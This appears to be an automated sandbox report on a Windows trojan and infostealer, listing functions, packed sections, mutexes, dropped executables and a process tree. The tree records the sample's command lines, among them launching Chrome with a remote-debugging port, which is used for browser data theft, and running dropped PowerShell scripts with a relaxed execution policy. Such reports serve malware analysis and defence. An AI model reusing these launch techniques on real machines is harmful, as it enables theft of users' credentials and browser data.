Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AE5F0	0_2_6C5AE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EA5E0	0_2_6C5EA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5145B0	0_2_6C5145B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57C650	0_2_6C57C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5446D0	0_2_6C5446D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57E6E0	0_2_6C57E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BE6E0	0_2_6C5BE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A0700	0_2_6C5A0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54A7D0	0_2_6C54A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56E070	0_2_6C56E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8010	0_2_6C5E8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC000	0_2_6C5EC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C518090	0_2_6C518090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5300B0	0_2_6C5300B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC0B0	0_2_6C5FC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C588140	0_2_6C588140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604130	0_2_6C604130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C596130	0_2_6C596130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5201E0	0_2_6C5201E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8250	0_2_6C5B8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A8260	0_2_6C5A8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EA210	0_2_6C5EA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8220	0_2_6C5F8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A62C0	0_2_6C6A62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EE2B0	0_2_6C5EE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F22A0	0_2_6C5F22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C360	0_2_6C63C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C528340	0_2_6C528340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662370	0_2_6C662370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522370	0_2_6C522370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6370	0_2_6C5B6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C592320	0_2_6C592320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5743E0	0_2_6C5743E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57E3B0	0_2_6C57E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5523A0	0_2_6C5523A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C523C40	0_2_6C523C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649C40	0_2_6C649C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C531C30	0_2_6C531C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DCD0	0_2_6C65DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1CE0	0_2_6C5E1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFC80	0_2_6C5BFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C583D00	0_2_6C583D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1DC0	0_2_6C5F1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C513D80	0_2_6C513D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669D90	0_2_6C669D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5E60	0_2_6C6A5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67BE70	0_2_6C67BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62DE10	0_2_6C62DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C543EC0	0_2_6C543EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677F20	0_2_6C677F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515F30	0_2_6C515F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C555F20	0_2_6C555F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63DFC0	0_2_6C63DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A3FC0	0_2_6C6A3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CBFF0	0_2_6C5CBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C541F90	0_2_6C541F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57D810	0_2_6C57D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B8F0	0_2_6C67B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BF8C0	0_2_6C5BF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FF8F0	0_2_6C5FF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52D8E0	0_2_6C52D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5538E0	0_2_6C5538E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59F960	0_2_6C59F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD960	0_2_6C5DD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66F900	0_2_6C66F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5920	0_2_6C5D5920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5599D0	0_2_6C5599D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B99C0	0_2_6C5B99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5859F0	0_2_6C5859F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B79F0	0_2_6C5B79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1990	0_2_6C5F1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C531980	0_2_6C531980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9A50	0_2_6C6A9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55FA10	0_2_6C55FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1A10	0_2_6C5C1A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61DA30	0_2_6C61DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C521AE0	0_2_6C521AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FDAB0	0_2_6C5FDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FFB60	0_2_6C5FFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56BB20	0_2_6C56BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C567BF0	0_2_6C567BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C511B80	0_2_6C511B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9BB0	0_2_6C5E9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605B90	0_2_6C605B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C579BA0	0_2_6C579BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD410	0_2_6C5AD410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609430	0_2_6C609430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5214E0	0_2_6C5214E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A14A0	0_2_6C6A14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C535510	0_2_6C535510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C587500	0_2_6C587500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66F510	0_2_6C66F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A55F0	0_2_6C5A55F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C559590	0_2_6C559590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539650	0_2_6C539650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C575640	0_2_6C575640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C597610	0_2_6C597610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C549600	0_2_6C549600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5516A0	0_2_6C5516A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5896A0	0_2_6C5896A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58D710	0_2_6C58D710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C543720	0_2_6C543720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9720	0_2_6C5F9720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6637C0	0_2_6C6637C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AB7A0	0_2_6C5AB7A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D050	0_2_6C51D050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C529050	0_2_6C529050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF050	0_2_6C5CF050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56B020	0_2_6C56B020

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6A09D0 appears 356 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C549B10 appears 110 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C543620 appears 98 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C57C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6AD930 appears 72 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C659F30 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6ADAE0 appears 90 times

Source: file.exe, 00000000.00000002.2155941436.000000006F902000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: qflvhncs ZLIB complexity 0.9947600818677986
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: Section: iaxkupqh ZLIB complexity 0.9948247839247639
Source: random[1].exe.0.dr	Static PE information: Section: zxydtulm ZLIB complexity 0.9943812517990789
Source: skotes.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: skotes.exe.9.dr	Static PE information: Section: iaxkupqh ZLIB complexity 0.9948247839247639
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9992379610655737
Source: random[1].exe.10.dr	Static PE information: Section: bydimkjm ZLIB complexity 0.9948087228341769
Source: 32eab1d1d8.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9992379610655737
Source: 32eab1d1d8.exe.10.dr	Static PE information: Section: bydimkjm ZLIB complexity 0.9948087228341769
Source: random[2].exe.10.dr	Static PE information: Section: qflvhncs ZLIB complexity 0.9947600818677986
Source: 10d8464898.exe.10.dr	Static PE information: Section: qflvhncs ZLIB complexity 0.9947600818677986
Source: 5ff77f639c.exe.10.dr	Static PE information: Section: zxydtulm ZLIB complexity 0.9943812517990789

Source: random[1].exe.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 32eab1d1d8.exe.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@147/87@118/10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C580300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C580300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ULAIC2GL.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1516:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4572:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03

Source: C:\Users\user\DocumentsJKEGIDGDGH.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Program Files\Mozilla Firefox\firefox.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 0000001A.00000002.2721978174.000016B000750000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.1901639943.000000001D1F5000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2819418966.0000000005875000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2155182837.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsJKEGIDGDGH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2188,i,13522947928336970555,3590164361455550880,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJKEGIDGDGH.exe "C:\Users\user\DocumentsJKEGIDGDGH.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe "C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008570041\gok44.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008571041\aZhXvFT.ps1"
